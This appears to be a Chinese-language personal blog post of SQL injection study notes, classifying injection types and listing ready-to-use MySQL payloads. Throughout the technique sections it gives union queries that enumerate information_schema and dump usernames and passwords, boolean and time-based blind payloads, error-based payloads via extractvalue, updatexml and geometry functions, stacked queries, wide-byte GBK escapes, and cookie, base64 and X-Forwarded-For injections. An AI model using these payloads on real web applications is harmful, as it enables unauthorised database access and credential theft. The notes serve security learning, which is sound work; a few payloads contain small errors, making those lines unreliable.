keac's Bolg.

SQL注入学习

字数统计: 2.4k阅读时长: 9 min
2019/12/28 Share

发现onenote有好多收藏的文章,想自己参考着来写一篇sql注入的总结文章。

介绍

sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术。

程序对输入的文字没有进行过滤,而直接拿去拼接sql语句,我们可以通过截断sql语句来运行我们的的语句进行攻击实现比如脱裤等。

分类

按变量类型分

  • 数字型

    许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,注入点id为数字,一般被叫做数字型注入点,通过这种形式查询出后台数据库信息返回前台展示,可以构造类似以下的sql语句进行爆破:select *** from 表名 where id=1 and 1=1

  • 字符型

    网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,注入点name为字符串,被称为字符型注入,可以用:select *** from 表名 where name=’admin’ and 1=1

  • 搜索型

    主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 “keyword=“关键字””,注入点提交的是sql语句,select * from 表名 where 字段 like ‘%关键字%’ and ‘%1%’=’%1%’

    按HTTP提交方式分

  • GET注入

    通过GET请求,比如?id=’and 1=1

  • POST注入

    可以分为以下这三种,xml存在注入的可能性非常大

    1. form
    2. json
    3. xml
  • Cookie注入

    通过Cookie注入

按注入方式分

  • 报错注入

    即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  • 盲注

    • 布尔盲注

      根据页面返回判断条件真假注入 比如 and 1=1

    • 时间盲注

      即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断

  • union注入

    可以使用union情况下注入

编码问题

  • 宽字节注入

识别后台数据库

一般情况下来说,可以根据操作系统和web语言推测出常用的

根据操作系统平台

  • sql server:Windows(IIS)
  • MySQL:Apache

根据web语言

  • Microsoft SQL Server: ASP 和 .Net
  • MySQL:PHP
  • Oracle/MySQL:java

数据库区别

每个数据库都有不同的区别,暂时列出这些

Mysql

MySQL 5.0以上和MySQL 5.0以下版本的区别

MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库–INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。 而5.0以下没有。

information_schema

系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

大致列下用得到的

列名 数据类型 描述
TABLE_CATALOG nvarchar(128) 表限定符
TABLE_SCHEMA nvarchar(128) 表所有者
TABLE_NAME nvarchar(128) 表名
COLUMN_NAME nvarchar(128) 列名
ORDINAL_POSITION smallint 列标识号
COLUMN_DEFAULT nvarchar(4000) 列的默认值
IS_NULLABLE varchar(3) 列的为空性。如果列允许 NULL,那么该列返回 YES。否则,返回 NO。

首先介绍一下的是爆库

select SCHEMA_NAME from information_schema.SCHEMATA limit 5,1

5,1表示从第1个开始,数到第5个

然后就是爆表了。
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0×6D656D626572 limit 5,1

TABLE_SCHEMA=后面是库名的16进制

再来爆字段

select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0×61646D5F75736572 limit 5,1

所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库我们可以看到,从information_schema.columns这个表里,我们可以查到所有的信息,因为它在里面,table_schema、 table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度

然后下面也会介绍手工注入

SCHEMATA

储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES

储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

COLUMNS

储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

手工注入

要从select语句中获得有用的信息,必须确定该数据库中的字段数和那个字段能够输出,这是前提。

MySQL >= 5.0

获取字段数

order by n /*通过不断尝试改变n的值来观察页面反应确定字段数*/

获取系统数据库名

在MySQL >5.0中,数据库名存放在information_schema数据库下schemata表schema_name字段中

select 1,2,schema_name from information_schema.schemata

获取当前数据库名

select 1,2,...,database()

获取数据库中的表

select 1,2,...,group_concat(table_name) from information_schema.tables where table_schema=database()

或者

select 1,2,...,table_name from information_schema.tables where table_schema=database() limit 0,1

获取表中的字段

这里假设已经获取到表名为user

select 1,2,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

获取各个字段值

这里假设已经获取到表名为user,且字段为username和password

select 1,group_concat(username,password) from users

MySQL < 5.0

MySQL < 5.0 没有信息数据库information_schema,所以只能手工枚举爆破(二分法思想)。

该方式通常用于盲注。

相关函数

length(str) :返回字符串str的长度

substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len) :跟上面的一样,截取字符串

ascii(str) :返回字符串str的最左面字符的ASCII代码值

ord(str) :将字符或布尔类型转成ascll码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

基于布尔的盲注

and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/

基于时间的盲注

id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用户名前四个字符做判断,正确就延迟4秒,错误返回1*/

常用注入方式

注释符

1
2
3
4
5
6
7
8
9

-- 注释内容
# 注释内容
/*注释内容*/
;
;%00
%23
` 单行或者多行注释(别名)
// 单行或者多行注释

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select * from users -- where id = 1;
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |

mysql> select * from users # where id = 2;
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |

mysql> select * from users where id = 3 /*+1*/
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test3 | pass1 |
+----+----------+----------+
1 row in set (0.00 sec)

union注入

1
id =-1 union select 1,2,3	/*获取字段*/

Boolean注入

1
id=1' substr(database(),1,1)='t'--+		/*判断数据名长度*/

报错注入

floor()和rand()

1
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a		/*利用错误信息得到当前数据库名*/

extractvalue()

1
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

updatexml()

1
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

geometrycollection()

1
id=1 and geometrycollection((select * from(select * from(select user())a)b))

multipoint()

1
id=1 and multipoint((select * from(select * from(select user())a)b))

polygon()

1
id=1 and polygon((select * from(select * from(select user())a)b))

multipolygon()

1
id=1 and multipolygon((select * from(select * from(select user())a)b))

linestring()

1
id=1 and linestring((select * from(select * from(select user())a)b))

multilinestring()

1
id=1 and multilinestring((select * from(select * from(select user())a)b))

exp()

1
id=1 and exp(~(select * from(select user())a))

时间注入

1
id = 1 and if(length(database())>1,sleep(5),1)

堆叠查询注入

1
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

二次注入

假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;

接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。

访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

宽字节注入

利用条件:

查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数
数据库的编码为GBK

利用方式

1
id = -1%DF' union select 1,user(),3,%23

在上述条件下,单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。

Cookie注入

当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。

Cookie: id = 1 and 1=1

base64注入

对参数进行base64编码,再发送请求。

说明:id=1’,1的base64编码为MSc=,而=的url编码为%3d,所以得到以下结果:

id=MSc%3d

XFF注入

XFF(X-Forward-For),简称XFF头,它代表客户端真实的ip地址

X-Forward-For:127.0.0.1’ select 1,2,user()

sql注入绕过

篇幅过长,放另外一篇

参考

百度百科

CATALOG
  1. 1. 介绍
  2. 2. 分类
    1. 2.1. 按变量类型分
    2. 2.2. 按HTTP提交方式分
    3. 2.3. 按注入方式分
    4. 2.4. 编码问题
  3. 3. 识别后台数据库
    1. 3.1. 根据操作系统平台
    2. 3.2. 根据web语言
  4. 4. 数据库区别
    1. 4.1. Mysql
      1. 4.1.1. MySQL 5.0以上和MySQL 5.0以下版本的区别
        1. 4.1.1.1. information_schema
        2. 4.1.1.2. SCHEMATA
        3. 4.1.1.3. TABLES
        4. 4.1.1.4. COLUMNS
  5. 5. 手工注入
    1. 5.1. MySQL >= 5.0
      1. 5.1.1. 获取字段数
      2. 5.1.2. 获取系统数据库名
      3. 5.1.3. 获取当前数据库名
      4. 5.1.4. 获取数据库中的表
      5. 5.1.5. 获取表中的字段
      6. 5.1.6. 获取各个字段值
    2. 5.2. MySQL < 5.0
  6. 6. 常用注入方式
    1. 6.1. 注释符
    2. 6.2. union注入
    3. 6.3. Boolean注入
    4. 6.4. 报错注入
      1. 6.4.1. 时间注入
      2. 6.4.2. 堆叠查询注入
      3. 6.4.3. 二次注入
      4. 6.4.4. 宽字节注入
      5. 6.4.5. Cookie注入
      6. 6.4.6. base64注入
      7. 6.4.7. XFF注入
  7. 7. sql注入绕过
  8. 8. 参考